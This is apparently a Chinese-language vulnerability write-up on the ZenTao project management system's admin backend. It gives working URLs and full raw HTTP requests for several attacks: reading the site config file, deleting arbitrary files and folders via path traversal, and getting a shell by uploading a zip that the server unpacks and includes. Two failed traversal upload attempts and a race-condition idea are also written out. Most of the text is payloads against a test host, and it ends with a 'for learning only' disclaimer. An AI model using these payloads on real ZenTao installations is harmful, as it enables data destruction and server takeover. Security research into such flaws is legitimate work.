下载地址：https://www.zentao.net/downloads.html###

下载源码版，

路由，

后台phpinfo()

http://127.0.0.1:8017/index.php?m=misc&f=phpinfo

后台读取网站配置文件

这里读取文件后直接返回给试图，

不过只能读取网站目录下的文件，

http://192.168.91.1:8017/index.php?m=editor&f=edit&filePath=Li4vLi4vY29uZmlnL215LnBocA==&action=extendOther&isExtends=3

后台任意文件删除*1

http://192.168.91.1:8017/index.php?m=editor&f=delete&filePath=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMS50eHQ=

如果开启了支持phar的功能，还可利用phar反序列化，不过没有去找反序列化链了

后台任意文件删除*2

http://192.168.91.1:8017/index.php?m=backup&f=delete&fileName=../../111111，
这里通过*去匹配路径，文件夹和文件都可删除，
删文件，

删文件夹里面的文件然后再删文件夹，

后台上传压缩包getshell

这里满足条件后，对zip进行解压后利用include_once文件包含，

将111.php添加成压缩包111.zip，然后上传，
自行构造压缩包数据，复制时会存在编码问题导致解压失败，自行去上传个zip再抓包进行文件上传，

POST /index.php?m=ai&f=importMiniProgram HTTP/1.1
Host: 192.168.91.1:8017
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23844024494120834914591611306
Content-Length: 636
Origin: null
Referer: http://192.168.91.1:8017/index.php?m=index&f=index&open=L2luZGV4LnBocD9tPW15JmY9aW5kZXg=
Connection: close
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1723430572,1724046681; satoken=0a0583df-9bef-469a-b0a9-95626e22c00c; tenantId=default; lang=zh-cn; vision=rnd; device=desktop; theme=default; preExecutionID=3; executionTaskOrder=status%2Cid_desc; hideMenu=false; lastProject=2; lastDocModule=0; preBranch=all; preProductID=1; docFilesViewType=list; preCaseLibID=1; lastCaseLib=1; docSpaceParam=%7B%22type%22%3A%22project%22%2C%22objectID%22%3A%222%22%2C%22libID%22%3A%220%22%2C%22moduleID%22%3A%220%22%2C%22browseType%22%3A%22all%22%2C%22param%22%3A%220%22%7D; zentaosid=7mgdiuuos0j5tguv1j083ojlo3; tab=my
Upgrade-Insecure-Requests: 1
Priority: u=1

-----------------------------23844024494120834914591611306
Content-Disposition: form-data; name="file"; filename="111.zip"
Content-Type: application/x-zip-compressed

压缩包数据
-----------------------------23844024494120834914591611306
Content-Disposition: form-data; name="published"

111
-----------------------------23844024494120834914591611306
Content-Disposition: form-data; name="category"

222
-----------------------------23844024494120834914591611306--

后台任意文件上传*1（失败）

getSavePath函数会拼接我们传入的路径，然后返回给filePath，

不过在执行save时，会有一个在服务器创建文件的验证动作，因此后续要找其他功能点是否能绕过此验证，

payload，

POST /index.php?m=editor&f=save&filePath=RDpcbmV0dG9vbHNccGhwc3R1ZHlccGhwU3R1ZHlfNjRccGhwc3R1ZHlfcHJvXFdXV1x6ZW50YW9wbXNcd3d3XGluZGV4LnBocA==&action=sss HTTP/1.1
Host: 192.168.91.1:8017
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.91.1:8017/index.php?m=index&f=index&open=L2luZGV4LnBocD9tPWVkaXRvciZmPWVkaXQmZmlsZVBhdGg9TGk0dkxpNHZkM2QzTDJsdVpHVjRMbkJvY0E9PSZhY3Rpb249ZXh0ZW5kT3RoZXImaXNFeHRlbmRzPTM=
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------7538827362023052895290236231
Content-Length: 320
Origin: http://192.168.91.1:8017
Connection: close
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1723430572,1724046681; satoken=0a0583df-9bef-469a-b0a9-95626e22c00c; tenantId=default; zentaosid=2ctnihmb0of7j3e74o8n1arseh; lang=zh-cn; vision=rnd; device=desktop; theme=default; preExecutionID=3; executionTaskOrder=status%2Cid_desc; hideMenu=false; tab=admin
Priority: u=1

-----------------------------7538827362023052895290236231
Content-Disposition: form-data; name="fileContent"

111
-----------------------------7538827362023052895290236231
Content-Disposition: form-data; name="fileName"

../../../../../www/index1.php
-----------------------------7538827362023052895290236231--

任意文件上传*2（失败）

在上传插件处会创建文件，$_FILE自动过滤了../，因此只能上传到指定目录，
（因此需要配合文件包含）

这里没有上传正确的压缩包，因此会被删除，
那么我们可以利用条件竞争，100线程上传1.txt
（如果存在目录穿越的文件上传，就能利用条件竞争getshell，php需要小于5.2.0），

payload，

POST /index.php?m=extension&f=upload HTTP/1.1
Host: 192.168.91.1:8017
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.91.1:8017/index.php?m=index&f=index&open=L2luZGV4LnBocD9tPW15JmY9aW5kZXg=
X-ZUI-Modal: true
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------63826739115825233863579617683
Content-Length: 235
Origin: http://192.168.91.1:8017
Connection: close
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1723430572,1724046681; satoken=0a0583df-9bef-469a-b0a9-95626e22c00c; tenantId=default; lang=zh-cn; vision=rnd; device=desktop; theme=default; preExecutionID=3; executionTaskOrder=status%2Cid_desc; hideMenu=false; lastProject=2; zentaosid=7gq30jvfk8tk82pgipoar5euh1; tab=my
Priority: u=4

-----------------------------63826739115825233863579617683
Content-Disposition: form-data; name="files[]"; filename="/../../1.txt"
Content-Type: application/text

111
-----------------------------63826739115825233863579617683

备注:本文章仅供学习交流，如作他用所承受的法律责任一概与作者无关